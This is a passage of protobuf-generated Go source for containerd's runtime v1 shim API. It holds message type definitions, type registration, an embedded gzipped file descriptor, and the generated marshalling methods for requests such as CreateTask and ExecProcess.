| func (m *StartRequest) XXX_Unmarshal(b []byte) error { 702 | return m.Unmarshal(b) 703 | } 704 | func (m *StartRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 705 | if deterministic { 706 | return xxx_messageInfo_StartRequest.Marshal(b, m, deterministic) 707 | } else { 708 | b = b[:cap(b)] 709 | n, err := m.MarshalTo(b) 710 | if err != nil { 711 | return nil, err 712 | } 713 | return b[:n], nil 714 | } 715 | } 716 | func (m *StartRequest) XXX_Merge(src proto.Message) { 717 | xxx_messageInfo_StartRequest.Merge(m, src) 718 | } 719 | func (m *StartRequest) XXX_Size() int { 720 | return m.Size() 721 | } 722 | func (m *StartRequest) XXX_DiscardUnknown() { 723 | xxx_messageInfo_StartRequest.DiscardUnknown(m) 724 | } 725 | 726 | var xxx_messageInfo_StartRequest proto.InternalMessageInfo 727 | 728 | type StartResponse struct { 729 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 730 | Pid uint32 `protobuf:"varint,2,opt,name=pid,proto3" json:"pid,omitempty"` 731 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 732 | XXX_unrecognized []byte `json:"-"` 733 | XXX_sizecache int32 `json:"-"` 734 | } 735 | 736 | func (m *StartResponse) Reset() { *m = StartResponse{} } 737 | func (*StartResponse) ProtoMessage() {} 738 | func (*StartResponse) Descriptor() ([]byte, []int) { 739 | return fileDescriptor_be1b2ef30ea3b8ef, []int{17} 740 | } 741 | func (m *StartResponse) XXX_Unmarshal(b []byte) error { 742 | return m.Unmarshal(b) 743 | } 744 | func (m *StartResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 745 | if deterministic { 746 | return xxx_messageInfo_StartResponse.Marshal(b, m, deterministic) 747 | } else { 748 | b = b[:cap(b)] 749 | n, err := m.MarshalTo(b) 750 | if err != nil { 751 | return nil, err 752 | } 753 | return b[:n], nil 754 | } 755 | } 756 | func (m *StartResponse) XXX_Merge(src proto.Message) { 757 | xxx_messageInfo_StartResponse.Merge(m, src) 758 | } 759 | func (m *StartResponse) XXX_Size() int { 760 | return m.Size() 761 | } 762 | func (m *StartResponse) XXX_DiscardUnknown() { 763 | xxx_messageInfo_StartResponse.DiscardUnknown(m) 764 | } 765 | 766 | var xxx_messageInfo_StartResponse proto.InternalMessageInfo 767 | 768 | type WaitRequest struct { 769 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 770 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 771 | XXX_unrecognized []byte `json:"-"` 772 | XXX_sizecache int32 `json:"-"` 773 | } 774 | 775 | func (m *WaitRequest) Reset() { *m = WaitRequest{} } 776 | func (*WaitRequest) ProtoMessage() {} 777 | func (*WaitRequest) Descriptor() ([]byte, []int) { 778 | return fileDescriptor_be1b2ef30ea3b8ef, []int{18} 779 | } 780 | func (m *WaitRequest) XXX_Unmarshal(b []byte) error { 781 | return m.Unmarshal(b) 782 | } 783 | func (m *WaitRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 784 | if deterministic { 785 | return xxx_messageInfo_WaitRequest.Marshal(b, m, deterministic) 786 | } else { 787 | b = b[:cap(b)] 788 | n, err := m.MarshalTo(b) 789 | if err != nil { 790 | return nil, err 791 | } 792 | return b[:n], nil 793 | } 794 | } 795 | func (m *WaitRequest) XXX_Merge(src proto.Message) { 796 | xxx_messageInfo_WaitRequest.Merge(m, src) 797 | } 798 | func (m *WaitRequest) XXX_Size() int { 799 | return m.Size() 800 | } 801 | func (m *WaitRequest) XXX_DiscardUnknown() { 802 | xxx_messageInfo_WaitRequest.DiscardUnknown(m) 803 | } 804 | 805 | var xxx_messageInfo_WaitRequest proto.InternalMessageInfo 806 | 807 | type WaitResponse struct { 808 | ExitStatus uint32 `protobuf:"varint,1,opt,name=exit_status,json=exitStatus,proto3" json:"exit_status,omitempty"` 809 | ExitedAt time.Time `protobuf:"bytes,2,opt,name=exited_at,json=exitedAt,proto3,stdtime" json:"exited_at"` 810 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 811 | XXX_unrecognized []byte `json:"-"` 812 | XXX_sizecache int32 `json:"-"` 813 | } 814 | 815 | func (m *WaitResponse) Reset() { *m = WaitResponse{} } 816 | func (*WaitResponse) ProtoMessage() {} 817 | func (*WaitResponse) Descriptor() ([]byte, []int) { 818 | return fileDescriptor_be1b2ef30ea3b8ef, []int{19} 819 | } 820 | func (m *WaitResponse) XXX_Unmarshal(b []byte) error { 821 | return m.Unmarshal(b) 822 | } 823 | func (m *WaitResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 824 | if deterministic { 825 | return xxx_messageInfo_WaitResponse.Marshal(b, m, deterministic) 826 | } else { 827 | b = b[:cap(b)] 828 | n, err := m.MarshalTo(b) 829 | if err != nil { 830 | return nil, err 831 | } 832 | return b[:n], nil 833 | } 834 | } 835 | func (m *WaitResponse) XXX_Merge(src proto.Message) { 836 | xxx_messageInfo_WaitResponse.Merge(m, src) 837 | } 838 | func (m *WaitResponse) XXX_Size() int { 839 | return m.Size() 840 | } 841 | func (m *WaitResponse) XXX_DiscardUnknown() { 842 | xxx_messageInfo_WaitResponse.DiscardUnknown(m) 843 | } 844 | 845 | var xxx_messageInfo_WaitResponse proto.InternalMessageInfo 846 | 847 | func init() { 848 | proto.RegisterType((*CreateTaskRequest)(nil), "containerd.runtime.linux.shim.v1.CreateTaskRequest") 849 | proto.RegisterType((*CreateTaskResponse)(nil), "containerd.runtime.linux.shim.v1.CreateTaskResponse") 850 | proto.RegisterType((*DeleteResponse)(nil), "containerd.runtime.linux.shim.v1.DeleteResponse") 851 | proto.RegisterType((*DeleteProcessRequest)(nil), "containerd.runtime.linux.shim.v1.DeleteProcessRequest") 852 | proto.RegisterType((*ExecProcessRequest)(nil), "containerd.runtime.linux.shim.v1.ExecProcessRequest") 853 | proto.RegisterType((*ExecProcessResponse)(nil), "containerd.runtime.linux.shim.v1.ExecProcessResponse") 854 | proto.RegisterType((*ResizePtyRequest)(nil), "containerd.runtime.linux.shim.v1.ResizePtyRequest") 855 | proto.RegisterType((*StateRequest)(nil), "containerd.runtime.linux.shim.v1.StateRequest") 856 | proto.RegisterType((*StateResponse)(nil), "containerd.runtime.linux.shim.v1.StateResponse") 857 | proto.RegisterType((*KillRequest)(nil), "containerd.runtime.linux.shim.v1.KillRequest") 858 | proto.RegisterType((*CloseIORequest)(nil), "containerd.runtime.linux.shim.v1.CloseIORequest") 859 | proto.RegisterType((*ListPidsRequest)(nil), "containerd.runtime.linux.shim.v1.ListPidsRequest") 860 | proto.RegisterType((*ListPidsResponse)(nil), "containerd.runtime.linux.shim.v1.ListPidsResponse") 861 | proto.RegisterType((*CheckpointTaskRequest)(nil), "containerd.runtime.linux.shim.v1.CheckpointTaskRequest") 862 | proto.RegisterType((*ShimInfoResponse)(nil), "containerd.runtime.linux.shim.v1.ShimInfoResponse") 863 | proto.RegisterType((*UpdateTaskRequest)(nil), "containerd.runtime.linux.shim.v1.UpdateTaskRequest") 864 | proto.RegisterType((*StartRequest)(nil), "containerd.runtime.linux.shim.v1.StartRequest") 865 | proto.RegisterType((*StartResponse)(nil), "containerd.runtime.linux.shim.v1.StartResponse") 866 | proto.RegisterType((*WaitRequest)(nil), "containerd.runtime.linux.shim.v1.WaitRequest") 867 | proto.RegisterType((*WaitResponse)(nil), "containerd.runtime.linux.shim.v1.WaitResponse") 868 | } 869 | 870 | func init() { 871 | proto.RegisterFile("github.com/containerd/containerd/runtime/v1/shim/v1/shim.proto", fileDescriptor_be1b2ef30ea3b8ef) 872 | } 873 | 874 | var fileDescriptor_be1b2ef30ea3b8ef = []byte{ 875 | // 1133 bytes of a gzipped FileDescriptorProto 876 | 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0x9c, 0x57, 0x4f, 0x4f, 0x1b, 0x47, 877 | 0x14, 0x67, 0x17, 0xff, 0x7d, 0x8e, 0x29, 0x4c, 0x09, 0xdd, 0x38, 0x92, 0xb1, 0x56, 0x6a, 0x44, 878 | 0x55, 0x65, 0x5d, 0x4c, 0x95, 0xa4, 0xad, 0x84, 0x04, 0x24, 0xaa, 0x50, 0x1b, 0x05, 0x2d, 0xa4, 879 | 0x89, 0x5a, 0x55, 0x68, 0xf1, 0x0e, 0xf6, 0x08, 0x7b, 0x67, 0xb3, 0x33, 0x4b, 0xa1, 0xa7, 0x9e, 880 | 0x7a, 0xee, 0xc7, 0xe9, 0x47, 0xe0, 0x90, 0x43, 0x8f, 0x3d, 0xa5, 0x0d, 0xf7, 0x7e, 0x87, 0x6a, 881 | 0xfe, 0x18, 0xaf, 0x6d, 0x36, 0xbb, 0x70, 0xc1, 0xfb, 0x66, 0x7e, 0x6f, 0xe6, 0xcd, 0xfb, 0xfd, 882 | 0xe6, 0xbd, 0x01, 0x36, 0x7b, 0x84, 0xf7, 0xe3, 0x23, 0xa7, 0x4b, 0x87, 0xed, 0x2e, 0x0d, 0xb8, 883 | 0x47, 0x02, 0x1c, 0xf9, 0xc9, 0xcf, 0x28, 0x0e, 0x38, 0x19, 0xe2, 0xf6, 0xe9, 0x7a, 0x9b, 0xf5, 884 | 0xc9, 0x70, 0xf4, 0xeb, 0x84, 0x11, 0xe5, 0x14, 0xb5, 0xc6, 0x48, 0x47, 0x23, 0x9d, 0x01, 0x09, 885 | 0xe2, 0x33, 0x47, 0x82, 0x4e, 0xd7, 0x1b, 0xf7, 0x7a, 0x94, 0xf6, 0x06, 0xb8, 0x2d, 0xf1, 0x47, 886 | 0xf1, 0x71, 0xdb, 0x0b, 0xce, 0x95, 0x73, 0xe3, 0xfe, 0xf4, 0x14, 0x1e, 0x86, 0x7c, 0x34, 0xb9, 887 | 0xdc, 0xa3, 0x3d, 0x2a, 0x3f, 0xdb, 0xe2, 0x4b, 0x8f, 0xae, 0x4e, 0xbb, 0x88, 0x1d, 0x19, 0xf7, 888 | 0x86, 0xa1, 0x06, 0x3c, 0xca, 0x3c, 0x90, 0x17, 0x92, 0x36, 0x3f, 0x0f, 0x31, 0x6b, 0x0f, 0x69, 889 | 0x1c, 0x70, 0xed, 0xf7, 0xf5, 0x0d, 0xfc, 0xb8, 0xc7, 0x4e, 0xe4, 0x1f, 0xe5, 0x6b, 0xff, 0x67, 890 | 0xc2, 0xd2, 0x4e, 0x84, 0x3d, 0x8e, 0x0f, 0x3c, 0x76, 0xe2, 0xe2, 0x37, 0x31, 0x66, 0x1c, 0xad, 891 | 0x80, 0x49, 0x7c, 0xcb, 0x68, 0x19, 0x6b, 0xd5, 0xed, 0xd2, 0xe5, 0xbb, 0x55, 0x73, 0xf7, 0xa9, 892 | 0x6b, 0x12, 0x1f, 0xad, 0x40, 0xe9, 0x28, 0x0e, 0xfc, 0x01, 0xb6, 0x4c, 0x31, 0xe7, 0x6a, 0x0b, 893 | 0x59, 0x50, 0xd6, 0x19, 0xb4, 0xe6, 0xe5, 0xc4, 0xc8, 0x44, 0x6d, 0x28, 0x45, 0x94, 0xf2, 0x63, 894 | 0x66, 0x15, 0x5a, 0xf3, 0x6b, 0xb5, 0xce, 0x27, 0x4e, 0x22, 0xeb, 0x32, 0x24, 0xe7, 0xb9, 0x38, 895 | 0x8a, 0xab, 0x61, 0xa8, 0x01, 0x15, 0x8e, 0xa3, 0x21, 0x09, 0xbc, 0x81, 0x55, 0x6c, 0x19, 0x6b, 896 | 0x15, 0xf7, 0xca, 0x46, 0xcb, 0x50, 0x64, 0xdc, 0x27, 0x81, 0x55, 0x92, 0x9b, 0x28, 0x43, 0x04, 897 | 0xc5, 0xb8, 0x4f, 0x63, 0x6e, 0x95, 0x55, 0x50, 0xca, 0xd2, 0xe3, 0x38, 0x8a, 0xac, 0xca, 0xd5, 898 | 0x38, 0x8e, 0x22, 0xd4, 0x04, 0xe8, 0xf6, 0x71, 0xf7, 0x24, 0xa4, 0x24, 0xe0, 0x56, 0x55, 0xce, 899 | 0x25, 0x46, 0xd0, 0xe7, 0xb0, 0x14, 0x7a, 0x11, 0x0e, 0xf8, 0x61, 0x02, 0x06, 0x12, 0xb6, 0xa8, 900 | 0x26, 0x76, 0xc6, 0x60, 0x07, 0xca, 0x34, 0xe4, 0x84, 0x06, 0xcc, 0xaa, 0xb5, 0x8c, 0xb5, 0x5a, 901 | 0x67, 0xd9, 0x51, 0x34, 0x3b, 0x23, 0x9a, 0x9d, 0xad, 0xe0, 0xdc, 0x1d, 0x81, 0xec, 0x07, 0x80, 902 | 0x92, 0xe9, 0x66, 0x21, 0x0d, 0x18, 0x46, 0x8b, 0x30, 0x1f, 0xea, 0x84, 0xd7, 0x5d, 0xf1, 0x69, 903 | 0xff, 0x6e, 0xc0, 0xc2, 0x53, 0x3c, 0xc0, 0x1c, 0xa7, 0x83, 0xd0, 0x2a, 0xd4, 0xf0, 0x19, 0xe1, 904 | 0x87, 0x8c, 0x7b, 0x3c, 0x66, 0x92, 0x93, 0xba, 0x0b, 0x62, 0x68, 0x5f, 0x8e, 0xa0, 0x2d, 0xa8, 905 | 0x0a, 0x0b, 0xfb, 0x87, 0x1e, 0x97, 0xcc, 0xd4, 0x3a, 0x8d, 0x99, 0xf8, 0x0e, 0x46, 0x32, 0xdc, 906 | 0xae, 0x5c, 0xbc, 0x5b, 0x9d, 0xfb, 0xe3, 0x9f, 0x55, 0xc3, 0xad, 0x28, 0xb7, 0x2d, 0x6e, 0x3b, 907 | 0xb0, 0xac, 0xe2, 0xd8, 0x8b, 0x68, 0x17, 0x33, 0x96, 0x21, 0x11, 0xfb, 0x4f, 0x03, 0xd0, 0xb3, 908 | 0x33, 0xdc, 0xcd, 0x07, 0x9f, 0xa0, 0xdb, 0x4c, 0xa3, 0x7b, 0xfe, 0x7a, 0xba, 0x0b, 0x29, 0x74, 909 | 0x17, 0x27, 0xe8, 0x5e, 0x83, 0x02, 0x0b, 0x71, 0x57, 0x6a, 0x26, 0x8d, 0x1e, 0x89, 0xb0, 0xef, 910 | 0xc2, 0xc7, 0x13, 0x91, 0xab, 0xbc, 0xdb, 0xaf, 0x61, 0xd1, 0xc5, 0x8c, 0xfc, 0x8a, 0xf7, 0xf8, 911 | 0x79, 0xd6, 0x71, 0x96, 0xa1, 0xf8, 0x0b, 0xf1, 0x79, 0x5f, 0x73, 0xa1, 0x0c, 0x11, 0x5a, 0x1f, 912 | 0x93, 0x5e, 0x5f, 0x71, 0x50, 0x77, 0xb5, 0x65, 0x3f, 0x80, 0x3b, 0x82, 0x28, 0x9c, 0x95, 0xd3, 913 | 0xb7, 0x26, 0xd4, 0x35, 0x50, 0x6b, 0xe1, 0xa6, 0x17, 0x54, 0x6b, 0x67, 0x7e, 0xac, 0x9d, 0x0d, 914 | 0x91, 0x2e, 0x29, 0x1b, 0x91, 0xc6, 0x85, 0xce, 0xfd, 0xe4, 0xc5, 0x3c, 0x5d, 0xd7, 0x77, 0x53, 915 | 0xe9, 0xc8, 0xd5, 0xd0, 0x31, 0x23, 0xc5, 0xeb, 0x19, 0x29, 0xa5, 0x30, 0x52, 0x9e, 0x60, 0x24, 916 | 0xc9, 0x79, 0x65, 0x8a, 0xf3, 0x29, 0x49, 0x57, 0x3f, 0x2c, 0x69, 0xb8, 0x95, 0xa4, 0x5f, 0x40, 917 | 0xed, 0x3b, 0x32, 0x18, 0xe4, 0x28, 0x76, 0x8c, 0xf4, 0x46, 0xc2, 0xac, 0xbb, 0xda, 0x12, 0xb9, 918 | 0xf4, 0x06, 0x03, 0x99, 0xcb, 0x8a, 0x2b, 0x3e, 0xed, 0x4d, 0x58, 0xd8, 0x19, 0x50, 0x86, 0x77, 919 | 0x5f, 0xe4, 0xd0, 0x87, 0x4a, 0xa0, 0xd2, 0xba, 0x32, 0xec, 0xcf, 0xe0, 0xa3, 0xef, 0x09, 0xe3, 920 | 0x7b, 0xc4, 0xcf, 0xbc, 0x5e, 0x2e, 0x2c, 0x8e, 0xa1, 0x5a, 0x0c, 0x9b, 0x50, 0x0d, 0x95, 0x66, 921 | 0x31, 0xb3, 0x0c, 0x59, 0x66, 0x5b, 0xd7, 0xb2, 0xa9, 0x95, 0xbd, 0x1b, 0x1c, 0x53, 0x77, 0xec, 922 | 0x62, 0xff, 0x04, 0x77, 0xc7, 0x15, 0x2d, 0xd9, 0x06, 0x10, 0x14, 0x42, 0x8f, 0xf7, 0x55, 0x18, 923 | 0xae, 0xfc, 0x4e, 0x16, 0x3c, 0x33, 0x4f, 0xc1, 0x7b, 0x08, 0x8b, 0xfb, 0x7d, 0x32, 0x94, 0x7b, 924 | 0x8e, 0x02, 0xbe, 0x07, 0x15, 0xd1, 0x62, 0x0f, 0xc7, 0xe5, 0xac, 0x2c, 0xec, 0x3d, 0xe2, 0xdb, 925 | 0xdf, 0xc2, 0xd2, 0xcb, 0xd0, 0x9f, 0x6a, 0x47, 0x1d, 0xa8, 0x46, 0x98, 0xd1, 0x38, 0xea, 0xca, 926 | 0x03, 0xa6, 0xef, 0x3a, 0x86, 0xe9, 0xbb, 0x15, 0xf1, 0xac, 0x84, 0x7e, 0x25, 0xaf, 0x96, 0xc0, 927 | 0x65, 0x5c, 0x2d, 0x7d, 0x85, 0xcc, 0x71, 0x8d, 0xfe, 0x14, 0x6a, 0xaf, 0x3c, 0x92, 0xb9, 0x43, 928 | 0x04, 0x77, 0x14, 0x4c, 0x6f, 0x30, 0x25, 0x71, 0xe3, 0xc3, 0x12, 0x37, 0x6f, 0x23, 0xf1, 0xce, 929 | 0xdb, 0x1a, 0x14, 0x44, 0xda, 0x51, 0x1f, 0x8a, 0xb2, 0x72, 0x20, 0xc7, 0xc9, 0x7a, 0xee, 0x38, 930 | 0xc9, 0x5a, 0xd4, 0x68, 0xe7, 0xc6, 0xeb, 0x63, 0x31, 0x28, 0xa9, 0xce, 0x86, 0x36, 0xb2, 0x5d, 931 | 0x67, 0x9e, 0x1c, 0x8d, 0x2f, 0x6f, 0xe6, 0xa4, 0x37, 0x55, 0xc7, 0x8b, 0x78, 0xce, 0xe3, 0x5d, 932 | 0xc9, 0x21, 0xe7, 0xf1, 0x12, 0xb2, 0x70, 0xa1, 0xa4, 0xfa, 0x20, 0x5a, 0x99, 0xe1, 0xe2, 0x99, 933 | 0x78, 0xfb, 0x35, 0xbe, 0xc8, 0x5e, 0x72, 0xaa, 0xa3, 0x9f, 0x43, 0x7d, 0xa2, 0xb7, 0xa2, 0x47, 934 | 0x79, 0x97, 0x98, 0xec, 0xae, 0xb7, 0xd8, 0xfa, 0x0d, 0x54, 0x46, 0x75, 0x04, 0xad, 0x67, 0x7b, 935 | 0x4f, 0x95, 0xa7, 0x46, 0xe7, 0x26, 0x2e, 0x7a, 0xcb, 0xc7, 0x50, 0xdc, 0xf3, 0x62, 0x96, 0x9e, 936 | 0xc0, 0x94, 0x71, 0xf4, 0x04, 0x4a, 0x2e, 0x66, 0xf1, 0xf0, 0xe6, 0x9e, 0x3f, 0x03, 0x24, 0xde, 937 | 0x6a, 0x8f, 0x73, 0x48, 0xec, 0xba, 0x3a, 0x98, 0xba, 0xfc, 0x73, 0x28, 0x88, 0x46, 0x82, 0x1e, 938 | 0x66, 0x2f, 0x9c, 0x68, 0x38, 0xa9, 0xcb, 0x1d, 0x40, 0x41, 0xbc, 0x3f, 0x50, 0x8e, 0xab, 0x30, 939 | 0xfb, 0xc2, 0x4a, 0x5d, 0xf5, 0x15, 0x54, 0xaf, 0x9e, 0x2f, 0x28, 0x07, 0x6f, 0xd3, 0x6f, 0x9d, 940 | 0xd4, 0x85, 0xf7, 0xa1, 0xac, 0xbb, 0x1e, 0xca, 0xa1, 0xbf, 0xc9, 0x06, 0x99, 0xba, 0xe8, 0x0f, 941 | 0x50, 0x19, 0xb5, 0x8b, 0x54, 0xb6, 0x73, 0x1c, 0x62, 0xa6, 0xe5, 0xbc, 0x84, 0x92, 0xea, 0x2b, 942 | 0x79, 0xaa, 0xd3, 0x4c, 0x07, 0x4a, 0x0d, 0x17, 0x43, 0x41, 0xd4, 0xf6, 0x3c, 0x0a, 0x48, 0xb4, 943 | 0x8a, 0x86, 0x93, 0x17, 0xae, 0xa2, 0xdf, 0x76, 0x2f, 0xde, 0x37, 0xe7, 0xfe, 0x7e, 0xdf, 0x9c, 944 | 0xfb, 0xed, 0xb2, 0x69, 0x5c, 0x5c, 0x36, 0x8d, 0xbf, 0x2e, 0x9b, 0xc6, 0xbf, 0x97, 0x4d, 0xe3, 945 | 0xc7, 0x27, 0xb7, 0xf8, 0x27, 0xf8, 0x1b, 0xf1, 0xfb, 0xda, 0x3c, 0x2a, 0xc9, 0xc3, 0x6c, 0xfc, 946 | 0x1f, 0x00, 0x00, 0xff, 0xff, 0x64, 0x52, 0x86, 0xc0, 0x49, 0x0f, 0x00, 0x00, 947 | } 948 | 949 | func (m *CreateTaskRequest) Marshal() (dAtA []byte, err error) { 950 | size := m.Size() 951 | dAtA = make([]byte, size) 952 | n, err := m.MarshalTo(dAtA) 953 | if err != nil { 954 | return nil, err 955 | } 956 | return dAtA[:n], nil 957 | } 958 | 959 | func (m *CreateTaskRequest) MarshalTo(dAtA []byte) (int, error) { 960 | var i int 961 | _ = i 962 | var l int 963 | _ = l 964 | if len(m.ID) > 0 { 965 | dAtA[i] = 0xa 966 | i++ 967 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 968 | i += copy(dAtA[i:], m.ID) 969 | } 970 | if len(m.Bundle) > 0 { 971 | dAtA[i] = 0x12 972 | i++ 973 | i = encodeVarintShim(dAtA, i, uint64(len(m.Bundle))) 974 | i += copy(dAtA[i:], m.Bundle) 975 | } 976 | if len(m.Runtime) > 0 { 977 | dAtA[i] = 0x1a 978 | i++ 979 | i = encodeVarintShim(dAtA, i, uint64(len(m.Runtime))) 980 | i += copy(dAtA[i:], m.Runtime) 981 | } 982 | if len(m.Rootfs) > 0 { 983 | for _, msg := range m.Rootfs { 984 | dAtA[i] = 0x22 985 | i++ 986 | i = encodeVarintShim(dAtA, i, uint64(msg.Size())) 987 | n, err := msg.MarshalTo(dAtA[i:]) 988 | if err != nil { 989 | return 0, err 990 | } 991 | i += n 992 | } 993 | } 994 | if m.Terminal { 995 | dAtA[i] = 0x28 996 | i++ 997 | if m.Terminal { 998 | dAtA[i] = 1 999 | } else { 1000 | dAtA[i] = 0 1001 | } 1002 | i++ 1003 | } 1004 | if len(m.Stdin) > 0 { 1005 | dAtA[i] = 0x32 1006 | i++ 1007 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stdin))) 1008 | i += copy(dAtA[i:], m.Stdin) 1009 | } 1010 | if len(m.Stdout) > 0 { 1011 | dAtA[i] = 0x3a 1012 | i++ 1013 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stdout))) 1014 | i += copy(dAtA[i:], m.Stdout) 1015 | } 1016 | if len(m.Stderr) > 0 { 1017 | dAtA[i] = 0x42 1018 | i++ 1019 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stderr))) 1020 | i += copy(dAtA[i:], m.Stderr) 1021 | } 1022 | if len(m.Checkpoint) > 0 { 1023 | dAtA[i] = 0x4a 1024 | i++ 1025 | i = encodeVarintShim(dAtA, i, uint64(len(m.Checkpoint))) 1026 | i += copy(dAtA[i:], m.Checkpoint) 1027 | } 1028 | if len(m.ParentCheckpoint) > 0 { 1029 | dAtA[i] = 0x52 1030 | i++ 1031 | i = encodeVarintShim(dAtA, i, uint64(len(m.ParentCheckpoint))) 1032 | i += copy(dAtA[i:], m.ParentCheckpoint) 1033 | } 1034 | if m.Options != nil { 1035 | dAtA[i] = 0x5a 1036 | i++ 1037 | i = encodeVarintShim(dAtA, i, uint64(m.Options.Size())) 1038 | n1, err := m.Options.MarshalTo(dAtA[i:]) 1039 | if err != nil { 1040 | return 0, err 1041 | } 1042 | i += n1 1043 | } 1044 | if m.XXX_unrecognized != nil { 1045 | i += copy(dAtA[i:], m.XXX_unrecognized) 1046 | } 1047 | return i, nil 1048 | } 1049 | 1050 | func (m *CreateTaskResponse) Marshal() (dAtA []byte, err error) { 1051 | size := m.Size() 1052 | dAtA = make([]byte, size) 1053 | n, err := m.MarshalTo(dAtA) 1054 | if err != nil { 1055 | return nil, err 1056 | } 1057 | return dAtA[:n], nil 1058 | } 1059 | 1060 | func (m *CreateTaskResponse) MarshalTo(dAtA []byte) (int, error) { 1061 | var i int 1062 | _ = i 1063 | var l int 1064 | _ = l 1065 | if m.Pid != 0 { 1066 | dAtA[i] = 0x8 1067 | i++ 1068 | i = encodeVarintShim(dAtA, i, uint64(m.Pid)) 1069 | } 1070 | if m.XXX_unrecognized != nil { 1071 | i += copy(dAtA[i:], m.XXX_unrecognized) 1072 | } 1073 | return i, nil 1074 | } 1075 | 1076 | func (m *DeleteResponse) Marshal() (dAtA []byte, err error) { 1077 | size := m.Size() 1078 | dAtA = make([]byte, size) 1079 | n, err := m.MarshalTo(dAtA) 1080 | if err != nil { 1081 | return nil, err 1082 | } 1083 | return dAtA[:n], nil 1084 | } 1085 | 1086 | func (m *DeleteResponse) MarshalTo(dAtA []byte) (int, error) { 1087 | var i int 1088 | _ = i 1089 | var l int 1090 | _ = l 1091 | if m.Pid != 0 { 1092 | dAtA[i] = 0x8 1093 | i++ 1094 | i = encodeVarintShim(dAtA, i, uint64(m.Pid)) 1095 | } 1096 | if m.ExitStatus != 0 { 1097 | dAtA[i] = 0x10 1098 | i++ 1099 | i = encodeVarintShim(dAtA, i, uint64(m.ExitStatus)) 1100 | } 1101 | dAtA[i] = 0x1a 1102 | i++ 1103 | i = encodeVarintShim(dAtA, i, uint64(github_com_gogo_protobuf_types.SizeOfStdTime(m.ExitedAt))) 1104 | n2, err := github_com_gogo_protobuf_types.StdTimeMarshalTo(m.ExitedAt, dAtA[i:]) 1105 | if err != nil { 1106 | return 0, err 1107 | } 1108 | i += n2 1109 | if m.XXX_unrecognized != nil { 1110 | i += copy(dAtA[i:], m.XXX_unrecognized) 1111 | } 1112 | return i, nil 1113 | } 1114 | 1115 | func (m *DeleteProcessRequest) Marshal() (dAtA []byte, err error) { 1116 | size := m.Size() 1117 | dAtA = make([]byte, size) 1118 | n, err := m.MarshalTo(dAtA) 1119 | if err != nil { 1120 | return nil, err 1121 | } 1122 | return dAtA[:n], nil 1123 | } 1124 | 1125 | func (m *DeleteProcessRequest) MarshalTo(dAtA []byte) (int, error) { 1126 | var i int 1127 | _ = i 1128 | var l int 1129 | _ = l 1130 | if len(m.ID) > 0 { 1131 | dAtA[i] = 0xa 1132 | i++ 1133 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1134 | i += copy(dAtA[i:], m.ID) 1135 | } 1136 | if m.XXX_unrecognized != nil { 1137 | i += copy(dAtA[i:], m.XXX_unrecognized) 1138 | } 1139 | return i, nil 1140 | } 1141 | 1142 | func (m *ExecProcessRequest) Marshal() (dAtA []byte, err error) { 1143 | size := m.Size() 1144 | dAtA = make([]byte, size) 1145 | n, err := m.MarshalTo(dAtA) 1146 | if err != nil { 1147 | return nil, err 1148 | } 1149 | return dAtA[:n], nil 1150 | } 1151 | 1152 | func (m *ExecProcessRequest) MarshalTo(dAtA []byte) (int, error) { 1153 | var i int 1154 | _ = i 1155 | var l int 1156 | _ = l 1157 | if len(m.ID) > 0 { 1158 | dAtA[i] = 0xa 1159 | i++ 1160 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1161 | i += copy(dAtA[i:], m.ID) 1162 | } 1163 | if m.Terminal { 1164 | dAtA[i] = 0x10 1165 | i++ 1166 | if m.Terminal { 1167 | dAtA[i] = 1 1168 | } else { 1169 | dAtA[i] = 0 1170 | } 1171 | i++ 1172 | } 1173 | if len(m.Stdin) > 0 { 1174 | dAtA[i] = 0x1a 1175 | i++ 1176 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stdin))) 1177 | i += copy(dAtA[i:], m.Stdin) 1178 | } 1179 | if len(m.Stdout) > 0 { 1180 | dAtA[i] = 0x22 1181 | i++ 1182 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stdout))) 1183 | i += copy(dAtA[i:], m.Stdout) 1184 | } 1185 | if len(m.Stderr) > 0 { 1186 | dAtA[i] = 0x2a 1187 | i++ 1188 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stderr))) 1189 | i += copy(dAtA[i:], m.Stderr) 1190 | } 1191 | if m.Spec != nil { 1192 | dAtA[i] = 0x32 1193 | i++ 1194 | i = encodeVarintShim(dAtA, i, uint64(m.Spec.Size())) 1195 | n3, err := m.Spec.MarshalTo(dAtA[i:]) 1196 | if err != nil { 1197 | return 0, err 1198 | } 1199 | i += n3 1200 | } 1201 | if m.XXX_unrecognized != nil { 1202 | i += copy(dAtA[i:], m.XXX_unrecognized) 1203 | } 1204 | return i, nil 1205 | } 1206 | 1207 | func (m *ExecProcessResponse) Marshal() (dAtA []byte, err error) { 1208 | size := m.Size() 1209 | dAtA = make([]byte, size) 1210 | n, err := m.MarshalTo(dAtA) 1211 | if err != nil { 1212 | return nil, err 1213 | } 1214 | return dAtA[:n], nil 1215 | } 1216 | 1217 | func (m *ExecProcessResponse) MarshalTo(dAtA []byte) (int, error) { 1218 | var i int 1219 | _ = i 1220 | var l int 1221 | _ = l 1222 | if m.XXX_unrecognized != nil { 1223 | i += copy(dAtA[i:], m.XXX_unrecognized) 1224 | } 1225 | return i, nil 1226 | } 1227 | 1228 | func (m *ResizePtyRequest) Marshal() (dAtA []byte, err error) { 1229 | size := m.Size() 1230 | dAtA = make([]byte, size) 1231 | n, err := m.MarshalTo(dAtA) 1232 | if err != nil { 1233 | return nil, err 1234 | } 1235 | return dAtA[:n], nil 1236 | } 1237 | 1238 | func (m *ResizePtyRequest) MarshalTo(dAtA []byte) (int, error) { 1239 | var 